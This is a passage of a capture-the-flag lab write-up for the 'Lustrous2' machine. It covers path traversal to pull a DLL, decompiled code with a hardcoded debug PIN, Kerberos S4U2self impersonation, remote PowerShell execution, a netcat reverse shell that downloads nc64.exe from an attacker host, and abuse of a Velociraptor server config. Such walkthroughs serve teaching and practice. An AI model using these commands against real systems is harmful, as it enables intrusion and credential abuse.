&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Download?filename=../../LuShare.dll'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; LuShare.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file LuShare.dll
LuShare.dll: PE32 executable &lt;span class="k"&gt;for &lt;/span&gt;MS Windows 4.00 &lt;span class="o"&gt;(&lt;/span&gt;console&lt;span class="o"&gt;)&lt;/span&gt;, Intel i386 Mono/.Net assembly, 3 sections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decompiled with &lt;code&gt;ilspycmd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ilspycmd LuShare.dll &lt;span class="nt"&gt;-o&lt;/span&gt; lushare-decompiled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What the source revealed
&lt;/h3&gt;

&lt;p&gt;The site has an &lt;strong&gt;&lt;code&gt;/File/Upload&lt;/code&gt;&lt;/strong&gt; and a hidden &lt;strong&gt;&lt;code&gt;/File/Debug&lt;/code&gt;&lt;/strong&gt; action, both restricted to the &lt;code&gt;ShareAdmins&lt;/code&gt; AD role. In &lt;code&gt;_Layout.cshtml&lt;/code&gt;, the &lt;code&gt;Debug&lt;/code&gt; nav link is present in the code but wrapped in an HTML comment, so it never renders in the UI even for admins - you'd only find it by reading the source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!--
&amp;lt;li class="nav-item"&amp;gt;
    &amp;lt;a class="nav-link" href="...Debug"&amp;gt;Debug&amp;lt;/a&amp;gt;
&amp;lt;/li&amp;gt;
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two vulnerable controller actions in &lt;code&gt;FileController.cs&lt;/code&gt;, trimmed to the relevant parts:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;Download&lt;/code&gt; — no path sanitization (the LFI root cause):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;IActionResult&lt;/span&gt; &lt;span class="nf"&gt;Download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;NotFound&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_uploadFolder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// fileName is trusted as-is — "..\..\" and&lt;/span&gt;
                                                             &lt;span class="c1"&gt;// UNC paths ("\\host\share\x") both pass through&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;NotFound&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memoryStream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"application/octet-stream"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;Debug&lt;/code&gt; — hardcoded PIN gating raw PowerShell execution:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;Authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Roles&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"ShareAdmins"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;HttpPost&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;IActionResult&lt;/span&gt; &lt;span class="nf"&gt;Debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"ba45c518"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                 &lt;span class="c1"&gt;// &amp;lt;-- the PIN is hardcoded, baked straight into the compiled DLL&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsNullOrWhiteSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;BadRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid or too long command."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsNullOrWhiteSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;BadRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid PIN."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;PowerShell&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PowerShell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Runspace&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SessionStateProxy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LanguageMode&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PSLanguageMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// FullLanguage — no constrained-language sandboxing&lt;/span&gt;
    &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AddScript&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                            &lt;span class="c1"&gt;// &amp;lt;-- caller-supplied command executed verbatim&lt;/span&gt;
    &lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;PSObject&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;collection&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the PIN check is &lt;code&gt;pin != text&lt;/code&gt; against a value compiled straight into the DLL, reading the decompiled source is enough to fully bypass what looks like an access control - it's not a secret held server-side in config, it's shipped in the binary itself. Combined with &lt;code&gt;[Authorize(Roles = "ShareAdmins")]&lt;/code&gt;, the only real barrier left is &lt;strong&gt;being a member of &lt;code&gt;ShareAdmins&lt;/code&gt;&lt;/strong&gt; - and BloodHound confirmed that group has exactly two members: &lt;code&gt;Ryan.Davies&lt;/code&gt; and &lt;code&gt;Sharon.Birch&lt;/code&gt;, neither of whom we had credentials for yet.&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation to &lt;code&gt;ShareAdmins&lt;/code&gt; via Kerberos S4U2self
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ShareSvc&lt;/code&gt; runs the web app's service and — per BloodHound's node data on &lt;code&gt;Ryan.Davies&lt;/code&gt; and &lt;code&gt;Sharon.Birch&lt;/code&gt; — those two accounts were both marked sensitive but not protected from delegation. This allows requesting a service ticket &lt;strong&gt;as if we were&lt;/strong&gt; &lt;code&gt;Ryan.Davies&lt;/code&gt;, for the service that &lt;code&gt;ShareSvc&lt;/code&gt; itself owns (&lt;code&gt;HTTP/lus2dc.lustrous2.vl&lt;/code&gt;) - a Kerberos &lt;strong&gt;S4U2self&lt;/strong&gt; impersonation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-getST &lt;span class="nt"&gt;-self&lt;/span&gt; &lt;span class="nt"&gt;-impersonate&lt;/span&gt; ryan.davies &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'LUSTROUS2.VL/ShareSvc:&amp;lt;redacted-password&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-altservice&lt;/span&gt; HTTP/lus2dc.lustrous2.vl &lt;span class="nt"&gt;-no-pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Impacket v0.14.0.dev0
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loading that ticket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ryan.ccache
klist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ticket cache: FILE:/tmp/ryan.ccache
Default principal: ryan.davies@LUSTROUS2.VL
Valid starting       Expires              Service principal
07/01/2026 09:59:58  07/01/2026 19:59:58  HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To make sure &lt;code&gt;curl&lt;/code&gt;'s GSSAPI layer reliably picked up this impersonated ticket instead of falling back to whatever cache it found first, a default ccache path was pinned in &lt;code&gt;/etc/krb5.conf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[libdefaults]&lt;/span&gt;
    &lt;span class="py"&gt;default_realm&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;LUSTROUS2.VL&lt;/span&gt;
    &lt;span class="py"&gt;dns_lookup_kdc&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;dns_lookup_realm&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;dns_canonicalize_hostname&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;rdns&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;default_ccache_name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;FILE:/home/kali/krb5cc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using this ticket against the web app now shows the &lt;strong&gt;Upload&lt;/strong&gt; nav link and the hidden &lt;strong&gt;Debug&lt;/strong&gt; page - because &lt;code&gt;Ryan.Davies&lt;/code&gt; is a member of &lt;code&gt;ShareAdmins&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"nav navbar-text"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Well met, LUSTROUS2\Ryan.Davies!&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
...
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"nav-link"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/File/Upload"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Upload&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  RCE via the &lt;code&gt;/File/Debug&lt;/code&gt; Backdoor
&lt;/h2&gt;

&lt;p&gt;With admin-role access and the hardcoded PIN recovered from the decompiled source, arbitrary PowerShell now executes as the app's service account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"command=whoami"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lustrous2\sharesvc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basic recon of the filesystem through this channel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=ls C:\'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\datastore
C:\inetpub
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\Public
C:\temp
C:\Users
C:\Windows
C:\user_&amp;lt;redacted&amp;gt;.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;C:\datastore&lt;/code&gt; immediately stood out as a non-standard, top-level directory — that's not something Windows creates by default, and it hinted a non-standard service had been installed here. That single directory name is what pointed the rest of the enumeration toward &lt;code&gt;C:\Program Files&lt;/code&gt;, where a locally installed &lt;strong&gt;Velociraptor&lt;/strong&gt; DFIR/endpoint-management server was found (full details in the next section).&lt;/p&gt;

&lt;p&gt;The user flag was read through the same channel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=type C:\user_&amp;lt;redacted&amp;gt;.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;user flag, redacted&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 100-character command cap made anything more than simple commands (e.g. base64-encoded PowerShell reverse shells) fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl ... &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=powershell -e &amp;lt;long base64 payload&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Invalid or too long command.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a short two-step approach was used instead: download a netcat binary, then execute it directly (short enough to fit the limit):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=mkdir C:\temp'&lt;/span&gt;
curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=iwr http://your-ip/nc64.exe -OutFile C:\temp\nc64.exe'&lt;/span&gt;
curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Debug'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"pin=&amp;lt;redacted-pin&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'command=cmd /c C:\temp\nc64.exe your-ip 4444 -e powershell'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This popped a full interactive reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lustrous2\sharesvc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  SYSTEM via Velociraptor
&lt;/h2&gt;

&lt;p&gt;Following the lead from the unusual &lt;code&gt;C:\datastore&lt;/code&gt; directory, &lt;code&gt;C:\Program Files&lt;/code&gt; was checked for what might own it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\"&lt;/span&gt;Program Files&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Program Files\Amazon
C:\Program Files\Common Files
C:\Program Files\dotnet
C:\Program Files\IIS
C:\Program Files\Internet Explorer
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Velociraptor
C:\Program Files\VelociraptorServer
C:\Program Files\VMware
C:\Program Files\Windows Defender
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Velociraptor&lt;/strong&gt; is an open-source DFIR/endpoint-monitoring platform (background: see the referenced hackingarticles.in post, &lt;em&gt;"Threat Hunting: Velociraptor for Endpoint Monitoring"&lt;/em&gt;). If its server config or API access can be reached, it typically allows running arbitrary VQL queries - including shell-out queries - as whatever account the Velociraptor &lt;strong&gt;service&lt;/strong&gt; runs as, which on a server install is usually very highly privileged. &lt;code&gt;C:\Program Files\Velociraptor&lt;/code&gt; itself denied access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\"&lt;/span&gt;Program Files&lt;span class="se"&gt;\V&lt;/span&gt;elociraptor&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Errors:
Access to the path 'C:\Program Files\Velociraptor' is denied.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...but the sibling &lt;strong&gt;&lt;code&gt;VelociraptorServer&lt;/code&gt;&lt;/strong&gt; directory was readable and contained &lt;code&gt;client.config.yaml&lt;/code&gt; and &lt;code&gt;server.config.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\"&lt;/span&gt;Program Files&lt;span class="se"&gt;\V&lt;/span&gt;elociraptorServer&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Program Files\VelociraptorServer\client.config.yaml
C:\Program Files\VelociraptorServer\server.config.yaml
C:\Program Files\VelociraptorServer\velociraptor-v0.72.4-windows-amd64.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both YAML files were readable by &lt;code&gt;ShareSvc&lt;/code&gt;. &lt;code&gt;server.config.yaml&lt;/code&gt; embeds the CA certificate/key, GUI TLS cert/key, and the &lt;strong&gt;admin's password hash + salt&lt;/strong&gt; - none of which were directly needed, since a config-based API client could be minted locally instead using the server config's own CA trust:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.&lt;span class="se"&gt;\v&lt;/span&gt;elociraptor-v0.72.4-windows-amd64.exe &lt;span class="nt"&gt;--config&lt;/span&gt; server.config.yaml config api_client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; admin &lt;span class="nt"&gt;--role&lt;/span&gt; administrator &lt;span class="se"&gt;\p&lt;/span&gt;rogramdata&lt;span class="se"&gt;\a&lt;/span&gt;pi.config.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
